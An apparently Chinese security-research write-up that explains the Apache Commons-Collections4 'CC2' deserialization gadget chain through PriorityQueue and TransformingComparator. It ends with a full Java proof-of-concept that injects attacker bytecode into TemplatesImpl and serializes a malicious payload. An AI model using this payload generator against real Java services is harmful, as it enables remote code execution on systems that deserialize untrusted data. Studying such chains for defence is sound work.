基于 commons-collections4
    核心是 java.util.PriorityQueue 和 org.apache.commons.collections4.comparators.TransformingComparator
    PriorityQueue 顾名思义是一个优先级队列,他有如下特质:

    1. 拥有readObject方法
    2. 在readObject时会将队列元素有序排列
      1. 就会有如下的调用, 最终会调用到一个compartor.

    heapify() -> siftDown() -> siftDownUsingComparator() -> comparator.compare()

    TransformingComparator 就是一个comparator, 并且可以序列化,
    image.png
    看其名字是与transform有关的, 可以发现在其compare方法中会调用到 this.transformer.transform(obj1)
    image.png
    这样就不难理解这个链了, 构造恶意的transformers链然后放到TransformingComparator, 再把PriorityQueue的比较器设置为恶意的Comparator即可.
    完整POC:

    1. package test.com.cc;
    2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    4. import javassist.ClassPool;
    5. import javassist.CtClass;
    6. import org.apache.commons.collections4.Transformer;
    7. import org.apache.commons.collections4.functors.ChainedTransformer;
    8. import org.apache.commons.collections4.functors.ConstantTransformer;
    9. import org.apache.commons.collections4.functors.InvokerTransformer;
    10. import test.com.Reflections;
    11. import java.util.PriorityQueue;
    12. import org.apache.commons.collections4.comparators.TransformingComparator;
    13. import test.com.Serializer;
    14. public class cc2 {
    15. public static byte[] payload() throws Exception{
    16. ClassPool pool = ClassPool.getDefault();
    17. CtClass ct = pool.get(bad.evilClz.class.getName());
    18. byte[] shellcode = ct.toBytecode();
    19. TemplatesImpl tmpl = new TemplatesImpl();
    20. Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
    21. Reflections.setFieldValue(tmpl,"_name","testName");
    22. Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
    23. Transformer[] transformers = new Transformer[]{
    24. new ConstantTransformer(tmpl),
    25. new InvokerTransformer("newTransformer",null,null),
    26. };
    27. Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
    28. TransformingComparator tc = new TransformingComparator(transformerChain);
    29. PriorityQueue pq = new PriorityQueue(100,tc);
    30. pq.add(1);
    31. pq.add(1);
    32. pq.add(1);
    33. Reflections.setFieldValue(transformerChain,"iTransformers",transformers);
    34. return Serializer.Serialize(pq);
    35. }
    36. }